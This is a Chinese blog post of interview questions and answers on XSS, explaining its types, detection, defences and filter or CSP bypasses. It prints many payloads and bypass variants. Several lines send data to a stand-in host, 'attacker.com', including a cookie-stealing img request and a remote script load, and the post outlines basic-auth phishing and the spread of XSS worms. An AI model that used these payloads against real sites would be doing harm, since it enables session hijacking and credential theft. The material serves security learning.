Loading ...
XSS 面试题

1. XSS 漏洞的原理

核心原理:程序对输入输出未进行合适处理,使得攻击者构造的特殊字符在输出到前端时,被浏览器当作有效代码解析执行,进而产生各种危害。

  • 流程:用户输入恶意脚本→网站未过滤 / 编码→脚本被嵌入网页→受害者访问页面→浏览器将脚本当作正常代码执行。

  • 本质:浏览器无法区分 “用户输入的恶意脚本” 和 “网站自身的合法脚本”,从而执行攻击者注入的代码。

2. 什么是 XSS 攻击

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者向网页注入恶意脚本(通常是 JavaScript),当受害者访问该页面时,脚本在其浏览器中执行,实现窃取信息、篡改页面、劫持会话等目的。

  • 核心:利用网页对输入输出的处理漏洞,让恶意脚本 “混进” 网页并被执行。

3. XSS 有哪几种类型(含区别)

主要分为 3 类,核心区别在存储位置和触发方式:

维度反射型 XSS存储型 XSSDOM 型 XSS
持久性非持久(一次性)持久(存储于服务器)非持久(前端动态触发)
数据存储位置无存储(存在于 URL / 请求参数)服务器数据库 / 文件无存储(存在于浏览器端)
漏洞位置服务器端(输入→响应拼接环节)服务器端(存储→读取环节)前端(JavaScript DOM 操作环节)
触发条件用户点击带恶意参数的链接用户访问包含恶意代码的页面用户操作触发前端 DOM 更新
典型场景搜索框、URL 参数留言板、评论区、用户资料动态内容加载、地址栏参数解析
攻击流程客户端请求→服务器响应恶意代码→浏览器执行攻击者提交恶意代码→服务器存储→用户访问时执行客户端请求→前端 JS 处理输入→浏览器执行
危害程度中(需用户主动点击)高(自动攻击所有访问者)中(依赖前端逻辑漏洞)

4. 反射型 XSS 与 DOM 型 XSS 的区别(通常出现在什么位置)

区别点反射型 XSSDOM 型 XSS
是否经过服务器是(脚本通过服务器 “反射” 回页面)否(脚本仅在客户端 DOM 中处理)
响应源码响应 HTML 中可看到注入的脚本响应 HTML 中无脚本,仅在 DOM 树中存在
常见位置URL 参数(如search?q=xxx)、表单提交结果页客户端 JS 处理用户输入的地方(如location.searchinnerHTML

5. XSS 攻击可能造成哪些危害

  • 网络钓鱼:盗取各类用户账号,通过伪造登录页面等方式诱骗用户输入账号密码。

  • 窃取隐私:获取用户 Cookie 资料,进而得到隐私信息或利用身份操作网站,侵犯用户隐私安全。

  • 会话劫持:控制用户浏览器会话,执行非法转账、发表日志、发邮件等操作,以用户身份进行恶意行为。

  • 干扰用户:强制弹出广告页面、刷流量,影响用户正常使用网站,降低用户体验。

  • 网页挂马:在网页植入恶意软件,感染用户设备,破坏用户设备安全,可能导致设备数据泄露或被控制。

  • 恶意篡改:篡改页面信息、删除文章等,破坏网站正常内容展示,影响网站的可信度和可用性。

  • 客户端攻击:发起 DDoS 攻击,利用大量受感染的用户设备对目标服务器进行攻击,导致服务器瘫痪。

  • 协同作恶:结合 CSRF 等漏洞进一步危害系统,扩大攻击范围和影响程度,增加系统安全风险。

  • 传播恶意程序:传播跨站脚本蠕虫,通过 XSS 漏洞在用户之间自动扩散,危害更多用户。

6. XSS 中 a 标签的防护措施

a 标签的风险主要来自href属性被注入javascript:伪协议(如<a href="javascript:alert(1)">),防护措施包括:

  • 过滤危险协议:禁止javascript:vbscript:等伪协议,仅允许http://https://mailto:等安全协议;

  • 输出编码:对href内容进行 HTML 实体编码(如将<转为<),避免脚本被解析;

  • 限制链接域名:校验href指向的域名是否在可信白名单内(如仅允许自家域名或合作方域名);

  • 添加安全属性:使用rel="noopener noreferrer",防止新页面通过window.opener篡改原页面;

  • 禁止动态拼接:避免直接将用户输入作为href值(如<a href="{$user_input}">),需先经过严格校验。

7. XSS 持久化技术

指让恶意脚本长期存在于目标系统中,持续发挥作用的技术,主要用于存储型 XSS:

  • 实现方式:将脚本存入服务器的数据库(如评论、用户资料)、缓存系统(如 Redis)、日志文件(如后台错误日志)等;

  • 特点:一旦注入成功,所有访问该资源的用户都会触发,无需重复诱导受害者点击(区别于反射型的一次性触发)。

8. 什么是 XSS 盲打

XSS 盲打是指攻击者无法直接观察脚本是否执行的场景(如脚本被注入到后台页面、管理员日志),通过 “间接回调” 确认漏洞的方法:

  • 场景:后台评论审核页、错误日志页面(用户输入的内容仅管理员可见);

  • 原理:注入含回调的脚本(如<img src="http://attacker.com/log?admin=1">),当管理员查看页面时,脚本会向攻击者服务器发送请求,攻击者通过日志确认 “已触发”,从而发现漏洞。

9. 构造 XSS 蠕虫的必要条件

XSS 蠕虫是能自动传播的恶意脚本,需满足:

  • 存在存储型 XSS 漏洞:脚本能被存入服务器(确保持久化);

  • 自动触发机制:脚本加载后无需用户操作即可执行(如onload事件);

  • 传播能力:脚本能自动向其他用户发送含自身的内容(如自动评论、私信);

  • 绕过防御:能绕过网站的过滤规则(如关键词过滤、长度限制)和浏览器安全机制(如 CSP)。

10. 什么是内容安全策略(CSP)?如何配置?有哪些绕过方式?

  • 定义:CSP(Content Security Policy)是一种安全层,通过限制网页可加载的资源(脚本、图片等)来源,防止 XSS 等注入攻击。

  • 配置方式:

    • 通过 HTTP 头:Content-Security-Policy: script-src 'self' https://trusted-cdn.com(仅允许本地和可信 CDN 的脚本);

    • 通过<meta>标签:<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

  • 核心指令:default-src(默认资源来源)、script-src(脚本来源)、img-src(图片来源)等。

  • 绕过方式:

    • 利用 CSP 配置错误(如script-src 允许任意来源);

    • 劫持可信域名的资源(如可信 CDN 被入侵,植入恶意脚本);

    • 利用data:协议(若script-src允许data:,可注入data:text/javascript,alert(1));

    • 利用内联事件(如onclick,若'unsafe-inline'未禁用)。

11. 如何检测 XSS 漏洞(含黑盒检测步骤)

黑盒检测(无需源码)步骤:

  1. 收集输入点:找出所有用户可控输入位置(URL 参数、表单字段、评论区、文件上传文件名等);

  2. 构造测试 payload:从简单到复杂,如:

    • 基础脚本:<script>alert(1)</script>

    • 事件触发:<img src=x onerror=alert(1)>

    • 编码绕过:<script>alert(1)</script>

  3. 提交并观察响应:

    • 若页面弹出alert,说明存在 XSS;

    • 若未弹出,检查页面源码 / 控制台,确认脚本是否被过滤或编码;

  4. 区分类型:

    • 存储型:多次访问页面,脚本持续存在;

    • 反射型:脚本仅在含 payload 的 URL 中出现;

    • DOM 型:页面源码无脚本,但 DOM 树中存在(通过浏览器 “检查元素” 查看)。

12. 存储型 XSS 的攻击流程

  1. 攻击者在目标网站的用户输入点(如评论区、个人资料)提交含恶意脚本的内容(如<script src="http://attacker.com/xss.js"></script>);

  2. 网站未过滤脚本,将其存入数据库;

  3. 其他用户访问包含该内容的页面(如查看评论列表);

  4. 网站从数据库读取内容并输出到页面,恶意脚本被加载执行;

  5. 脚本在用户浏览器中执行恶意操作(如窃取 Cookie、自动转发评论)。

13. 反射型 XSS 的攻击流程

  1. 攻击者构造含恶意脚本的 URL(如http://target.com/search?q=<script>alert(document.cookie)</script>);

  2. 通过钓鱼(如邮件、聊天工具)诱导受害者点击该 URL;

  3. 受害者点击后,浏览器向目标网站发送请求,携带含脚本的参数;

  4. 目标网站未过滤参数,将脚本 “反射” 到响应页面中(如搜索结果页显示<p>搜索结果:<script>alert(document.cookie)</script></p>);

  5. 受害者浏览器加载响应,执行脚本,攻击者获取 Cookie 等信息。

14. DOM 型 XSS 怎么测试

DOM 型 XSS 由客户端 JS 处理用户输入导致,测试步骤:

  1. 定位 DOM 操作点:查找页面中用 JS 处理用户输入的代码(如location.searchdocument.writedocument.URLinnerHTMLoutterHTMLeval()等);

  2. 构造测试输入:向输入点(如 URL 参数http://target.com/?x=test)注入 payload(如x=<img src=x onerror=alert(1)>);

  3. 检查 DOM 执行:通过浏览器 “检查元素” 查看 DOM 树,确认 payload 是否被注入到页面中;

  4. 验证执行:若脚本触发alert等操作,说明存在 DOM 型 XSS。

15. XSS 漏洞的防御措施

核心原则:输入验证 + 输出编码 + 安全配置,具体措施:

  • 输入验证:

    • 对用户输入进行 “白名单过滤”(如仅允许字母、数字及必要符号),拒绝<>script等危险字符;

    • 限制输入长度(如评论区限制 1000 字内),减少 payload 注入空间。

  • 输出编码:

    • 根据输出位置选择编码方式:

      • HTML 标签内:用 HTML 实体编码(如<代替<);

      • JavaScript 代码内:用 JS 编码(如\x3c代替<);

      • URL 参数内:用 URL 编码(如%3c代替<)。

  • 安全配置:

    • 对敏感 Cookie 设置HttpOnly属性(防止document.cookie读取);

    • 启用内容安全策略(CSP),限制脚本加载来源(如script-src 'self'仅允许本地脚本);

    • 设置 Cookie 的SameSite属性(如SameSite=Strict),防止跨站请求携带 Cookie;

    • 禁用不必要的 HTML 标签 / 属性(如通过 HTML Purifier 等工具过滤<script>onclick等)。

16. XSS 漏洞的绕过方法

绕过核心是突破过滤规则或编码机制,常见方式:

  1. 大小写、双写或多写混淆:如<ScRiPt>alert(1)</ScRiPt>

  2. 注释干扰:在关键标签或脚本中插入注释,干扰过滤程序对代码的识别,如<scri<!-- -->pt>alert(1)</script>

  3. 空白字符绕过:

  • 空格绕过:在关键字或标签中插入空格,使过滤机制难以准确匹配,如<s cript>alert(1)</script>

  • Tab 绕过:使用 Tab 字符分隔关键字,示例为<s cript>alert(1)</script>

  • 回车换行绕过:利用回车换行符分割关键字,如

    <img src="jav
    ascript:
    alert('XSS');">
  1. 特殊字符编码:

  • HTML 实体编码:<script>alert(1)</script>

  • Unicode 编码:\u003cscript\u003ealert(1)\u003c/script\u003e

  • URL 编码:%3cscript%3ealert(1)%3c/script%3e(配合 URL 解码场景);

  1. 标签 / 事件/伪协议变异:

  • 用非<script>标签执行脚本,如<img src=x onerror=alert(1)><body onload=alert(1)>

  • 拆分标签(如<scr+ipt>alert(1)</scr+ipt>)绕过完整关键词过滤;

  • 事件属性绕过:借助 HTML 元素的事件属性(如onclickonmouseoveronerror等)注入恶意脚本,例如<img src=x onerror="alert(1)">

  • CSS 属性绕过:通过 CSS 的某些属性(如background-imageexpression等)执行脚本,像body { background-image: url(javascript:alert('XSS')); }

  1. 利用 HTML5 新特性:如<svg onload=alert(1)><video poster=javascript:alert(1)>

  2. 绕过 CSP:若 CSP 配置宽松(如script-src 'unsafe-inline'),可直接注入内联脚本;或利用可信域名的漏洞(如可信 CDN 被劫持)。

  3. 框架和 iframe 绕过:通过在<iframe>中加载恶意页面或构造恶意的<frame>标签来绕过防护。

17. XSS 攻击中,攻击者如何利用 Cookie 窃取用户信息(含盗取方式)

核心利用document.cookie获取 Cookie,再发送给攻击者服务器:

  • 盗取方式:

    1. img 标签请求:注入<img src="http://attacker.com/log?cookie='+document.cookie+'">,当图片加载时,Cookie 会被发送到攻击者的log接口;

    2. XMLHttpRequest/Fetch:用脚本发送 POST 请求,将 Cookie 上传到攻击者服务器;

    3. WebSocket:建立 WebSocket 连接,实时发送 Cookie。

  • 防御限制:若 Cookie 设置了HttpOnly属性,则document.cookie无法读取,可有效阻止此类攻击。

18. 如何快速判定 XSS 类型

  • 存储型:关闭页面后重新打开(无需携带原 URL 参数),脚本仍能执行(因存在数据库);

  • 反射型:仅在携带 payload 的 URL 中触发,刷新页面若 URL 无 payload 则不执行;

  • DOM 型:查看页面源码(Ctrl+U),无注入的脚本;但通过 “检查元素” 查看 DOM 树,能找到脚本(说明脚本是客户端 JS 动态注入的)。

19. XSS 怎么 getshell

XSS 本身难以直接 getshell(获取服务器控制权),需结合其他条件:

  • 诱导用户下载恶意程序:通过 XSS 弹出伪造的 “系统更新” 窗口,诱导用户下载木马;

  • 利用浏览器漏洞:若受害者浏览器存在 0day 漏洞(如远程代码执行),XSS 脚本可触发漏洞执行本地代码;

  • 控制管理员后台:通过 XSS 窃取管理员 Cookie,登录后台后利用文件上传漏洞上传 webshell;

  • 条件限制:需目标系统存在多重漏洞(XSS + 文件上传 / 浏览器 0day),实战中成功率较低。

20. 能简单介绍一下 XSS 蠕虫吗?

XSS 蠕虫是一种具备自我复制和传播能力的跨站脚本攻击,通过 XSS 漏洞在用户之间自动扩散。引发XSS 蠕虫的条件比较高,需要在用户之间发生交互行为的页面,这样才能形成有效的传播。一般要同时结合 存储型 XSS(用于长期植入恶意代码)和反射型 XSS(用于诱骗点击)。

XSS 蠕虫传播过程可总结为以下步骤:

  1. 在目标网站的存储型 XSS 漏洞位置(如留言板)提交包含蠕虫脚本

  2. 蠕虫脚本生成伪装链接(如 “查看我的新动态”),利用目标网站的消息系统发送给用户好友

  3. 受害者点击链接,触发反射型 XSS,浏览器执行蠕虫脚本

  4. 蠕虫脚本获取受害者的好友列表,循环发送伪装链接,形成链式传播

21. XSS 蠕虫与传统蠕虫相比的不同点

维度XSS 蠕虫传统蠕虫(如计算机病毒)
攻击载体Web 应用(如论坛、社交平台)操作系统 / 软件漏洞(如 Windows)
传播方式通过用户交互(如评论、私信)通过网络协议(如 TCP/IP)传播
依赖条件依赖 Web 应用的 XSS 漏洞依赖系统 / 软件的 0day 或已知漏洞
影响范围仅限于使用该 Web 应用的用户可跨设备、跨网络感染
清除难度清除服务器存储的恶意脚本即可需修复系统漏洞 + 清除所有感染设备

22. 听说可以用 XSS 钓鱼,是真的吗?

XSS 钓鱼是存在的,利用 XSS 漏洞在目标网站植入恶意脚本,通过伪造登录页面、弹出伪造对话框等方式,诱骗用户输入敏感信息(如账号密码),本质是结合跨站脚本与社会工程学的诈骗行为。

这里我简单讲一讲存在存储型 XSS 的页面如何利用basic认证实现钓鱼:

  1. 已知存在一个存在存储型 XSS 漏洞的页面 A 和攻击者后台 B

  2. 攻击这个可以利用该漏洞在 A 页面中内嵌一个请求(javascript或者其他)

  3. 这个请求是向远端的服务器(攻击者后台)发起请求

  4. 攻击者后台返回一个要求他进行bacis认证的头部,在用户界面上就会弹出一个要进行身份认证的提示框

  5. 用户一旦他输入了账号密码,这个账号密码就会发送到攻击者后台 B

23. XSS 和 Javascript 注入有什么区别?

维度XSS(跨站脚本)JavaScript 注入
攻击层面客户端攻击(浏览器执行恶意脚本)服务器端攻击(服务器解释执行恶意脚本)
执行环境用户浏览器(前端)服务器端 JavaScript 引擎(如 Node.js)
依赖载体Web 页面(HTML/JS)服务器端 JS 代码(如 Node.js 应用)

24. 存储型 XSS 在纯内网环境中的利用

纯内网环境(无公网访问)中,存储型 XSS 可攻击内网用户及服务:

  • 横向渗透:窃取内网用户 Cookie,登录其他内网系统(如 OA、CRM);

  • 内网探测:通过脚本扫描内网端口(如192.168.1.1/24),获取内网服务信息(如是否存在未授权数据库);

  • 发起内网 CSRF:利用 XSS 脚本伪造请求,攻击内网服务(如路由器配置修改、打印机劫持);

  • 窃取内网敏感数据:若页面包含内网文档(如员工工资表),脚本可自动爬取并发送到内网攻击者的服务器。

25. CSRF 和 XSS 的区别

核心区别体现在攻击目标、原理和实现方式上:

维度CSRF(跨站请求伪造)XSS(跨站脚本)
原理利用用户已认证的会话(Cookie),伪造用户发起非预期请求(如转账、改密码)向网页注入恶意脚本,在用户浏览器中执行,操控页面或窃取信息
核心目标骗取用户 “执行操作”(如提交表单)骗取用户 “数据 / 权限”(如 Cookie、敏感信息)
依赖条件需用户已登录目标网站(依赖会话有效性)需网站对输入过滤 / 输出编码存在缺陷
技术核心构造恶意 URL 或表单,无需注入脚本构造可执行的恶意脚本(如 JavaScript)
本文内容仅供学习交流使用,旨在普及网络安全知识、提升安全防护意识。文中涉及的技术解析与案例分析,均以合法合规的网络安全研究为前提,严禁用于任何未经授权的攻击、破坏或侵犯他人权益的行为。
网络空间不是法外之地,使用者需严格遵守《中华人民共和国网络安全法》《数据安全法》等相关法律法规,对自身行为承担全部法律责任。维护网络安全是每个公民的责任,让我们共同抵制网络违法活动,共建安全、健康的网络环境。
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇